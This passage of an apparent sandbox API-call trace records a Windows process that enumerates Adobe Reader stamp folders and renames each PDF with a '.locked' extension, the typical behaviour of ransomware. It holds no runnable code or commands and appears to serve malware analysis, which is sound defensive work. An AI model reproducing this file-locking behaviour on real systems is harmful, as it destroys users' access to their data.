10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0077.415] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0077.918] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0077.922] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd16ef660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd16ef660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0077.981] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0078.019] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0078.066] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0078.102] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0078.286] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0078.919] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0078.928] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2074e60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd2074e60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0079.238] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0079.280] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0079.579] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0079.584] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd26b4820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd26b4820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0079.764] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0079.798] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0079.845] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0079.891] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0080.013] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0080.121] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0080.126] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2be9840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd2be9840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0080.172] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0080.205] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0080.251] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0080.289] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0080.398] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0080.489] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0080.493] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2f557e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd2f557e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0080.590] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0080.627] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0080.747] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0080.818] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd32754c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd32754c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0080.868] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0080.931] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf.locked"), dwFlags=0x2) returned 1 [0080.972] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0081.103] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0081.107] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3548ee0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd3548ee0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0081.181] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0081.239] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf.locked"), dwFlags=0x2) returned 1 [0081.293] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0081.441] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0081.445] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3868bc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd3868bc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0081.508] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0081.554] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0081.656] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0081.662] 